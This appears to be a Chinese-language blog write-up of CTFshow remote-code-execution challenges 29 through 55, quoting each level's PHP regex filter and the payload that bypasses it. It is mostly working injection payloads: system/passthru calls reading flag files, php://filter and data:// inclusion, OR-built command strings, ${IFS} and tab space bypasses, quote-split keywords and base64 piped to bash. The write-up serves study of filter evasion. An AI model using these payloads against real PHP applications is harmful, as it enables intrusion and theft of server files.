CTFer——RCE命令执行漏洞
例题总结:
CTFshow
29:
if(!preg_match("/flag/i", $c)){
eval($c); (eval内执行的是php代码,必须以分号结尾)
绕过方式:
(1)?c=system("cat%20fla*"); fla* 代替flag
(2) ?c=eval($_GET[1]);&1=phpinfo(); 参数输入加eval
(3)?c=echo `cat fla*`;
30:
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
(1):?c=passthru("cat%20fla*"); passthru替代system执行系统命令
(2) (3) 同上都可以使用
(4)?c=passthru("tac%20fla?????");
如果*被过滤掉 可以使用ls先查看存在的文件 在使用通配符 ???代替
31:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
比上一题多过滤了
cat -----可以使用tac 以及多种方式替换
空格 可以用 ${IFS}绕过
. php flag可以用通配符?绕过
(1)passthru 绕过
url/?c=passthru("tac\${IFS}fla*");
注意:为什么要加\ 因为上面的$需要用反斜杠进行转义,
这也解释了为什么preg_match函数中的\后的标点被过滤
(2)passru + 通配符
(3)嵌套eval函数绕过 参数传参同上
32:可以利用include进行绕过, 具体实现方式为 eval(include flag.php;)
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
比上一关多过滤了( and ` and ' \
过滤了括号就表明上述的方法无法使用
这时候可以使用 php:filter
过滤器的分类及常见过滤器:
string filter(字符过滤器)
string.rot13 (对字符串执行 ROT13 转换)
例:php://filter/string.rot13/resource=flag.php
string.toupper (转大写)
例:php://filter/string.toupper/resource=flag.php
string.tolower (转小写)
string.strip_tags (去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果)
例:php://filter/string.strip_tags/resource=flag.php
conversion filter (转换过滤器)
convert.base64-encode & convert.base64-decode (base64加密 base64解密)
例:php://filter/convert.base64-encode/resource=flag.php
convert.quoted-printable-encode & convert.quoted-printable-decode(在字符串后加=0A,及恢复)
compression filter(压缩过滤)
zlib.deflate & zlib.inflate(压缩 解压)
例:php://filter/zlib.deflate/resource=flag.php php://filter/zlib.inflate/resource=flag.php
bzip2.compress & bzip2.decompress(zip 压缩 解压)
encryption filter(加密过滤器)
题解:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其中?>代替分号 因为;被过滤了
34:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
多过滤了: 但是对于间接传参好像不影响,继续使用上题的payload
35:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
=号也被过滤了
36:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
增加了0-9的数字限制,传参时候换为单个字符即可
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
37:
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
文件包含:
如果这些特殊的指令所包含的文件路径被泄露(include下的文件)
?c=data://text/plain,<?php system("tac fla*.php");?>
使用data伪协议
38:if(!preg_match("/flag|php|file/i", $c)){
include($c);
多了 php 和 file 的过滤
?c=data://text/plain,<?=system("cat fla*")?>
39:if(!preg_match("/flag/i", $c)){
include($c.".php");
拼接的php可以不用管>?就已经代表php语句的闭合 include只会处理内部的内容,
?c=data://text/plain,<?=system("cat fla*.php")?>、
40:
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
无参数rce (暂时还不会)
41:
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
无数字字符rce
首先是POST方法传递参数,其次过滤了基本上所有的可见字符,
但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符
构造payload
system=(“%13%19%13%14%05%0d”|"%60%60%60%60%60%60)
其中%13|%60=s 可以看出是前半部分组合 后半部分也组合
我们构造出了(system) (ls)
payload:("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") ("%0c%13"|"%60%60")
最后使用一体化脚本跑出来了。。
42&43&44:>/dev/null 2>&1 是一个 shell 重定向操作,
意味着命令的标准输出(stdout)和标准错误(stderr)都被重定向到 /dev/null
即被丢弃
要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞
?c=tac(cat) fla*%26%26ls
(2) 使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //将前一个结果传到后面 执行后面那条命令
|| //只执行前面那条命令 way2
& //两条命令都会执行 way1
&& //两条命令都会执行
?c=tac fla*.php ||
45. 过滤空格
(1)用${IFS}
(2)用%09
(3)$IFS$9
(4)cat<flag
(5){cat,flag.php}
46&47&48&49.过滤了$ 空格只能用%09 fla*换成fla?
?c=tac%09fla?.php||
50 %09被过滤了
给出一个不需要空格的指令
?c=tac<fla%27%27g.php||
51:tac被过滤
可以用t”ac 进行绕过 注意编码为%27%27
补充
关键字绕过:
1:反斜线绕过
ca\t
2:两个单引号绕过
ca''t
3:echo Y2F0IGZsYWC=|base64 -d| bash
输出cat flag的base64加密 -d表示解码 bash表示执行
4:通配符绕过
fl[abc]g 任意匹配
5:用* 和? 绕过
?c=t%27%27ac<fl%27%27ag.php||
52:过滤了< 但是没有过滤$ 所以可以用${IFS}了
需要注意的是这题flag没有放在当前目录下,需要先找一下。
?c=ls${IFS}/|| (查找根目录文件)
payload:?c=nl${IFS}/fla''g||
cat和ls试了一下,都没有回显,看来是个文件,直接nl
53:
?c=ca\t${IFS}fla?.php
54:if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,
如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配
这是我们想到使用ca? 但是这样匹配不到命令 必须写出全路径
cat命令在bin目录下 所以/bin/cat
payload:
?c=/bin/ca?${IFS}????.???
55:
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
只过滤字母 无字母rce
使用通配符bin 目录下的base64 flag.php
?c=/???/????64 ????.???
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】